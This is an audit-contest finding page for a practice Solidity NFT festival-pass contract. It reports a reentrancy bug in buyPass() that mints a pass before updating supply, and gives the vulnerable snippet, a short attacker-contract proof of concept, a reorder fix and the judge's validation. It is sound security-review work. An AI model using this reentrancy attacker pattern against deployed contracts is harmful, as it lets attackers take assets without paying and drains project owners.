Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass() lets attacker get multiple passes for one payment

Description

  • Normally, when someone buys a festival pass, they pay ETH and get one pass.

  • The problem is that the contract gives out the pass before updating the supply count. This lets an attacker call the function again (using a smart contract) before the supply is updated, so they can get more passes for the same payment.

function buyPass(uint256 collectionId) external payable {
// ...validation...
_mint(msg.sender, collectionId, 1, ""); // @> Pass is given out here
++passSupply[collectionId]; // @> Supply is updated after
// ...rest of function...
}

Risk

Likelihood:

  • This will happen if an attacker uses a contract to call buyPass() and re-enter during the token transfer.

  • The attacker can do this as long as the contract allows reentrancy and the supply is not updated first.

Impact:

  • The attacker can get many passes for the price of one.

  • The festival loses money and the pass supply limit is broken.

Proof of Concept

contract ReentrancyAttacker {
FestivalPass public festivalPass;
uint256 public attackCount;
function attack(uint256 passId) external payable {
festivalPass.buyPass{value: msg.value}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external returns (bytes4) {
if (attackCount < 5) {
attackCount++;
festivalPass.buyPass{value: 0}(1);
}
return this.onERC1155Received.selector;
}
}

Recommended Mitigation

- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.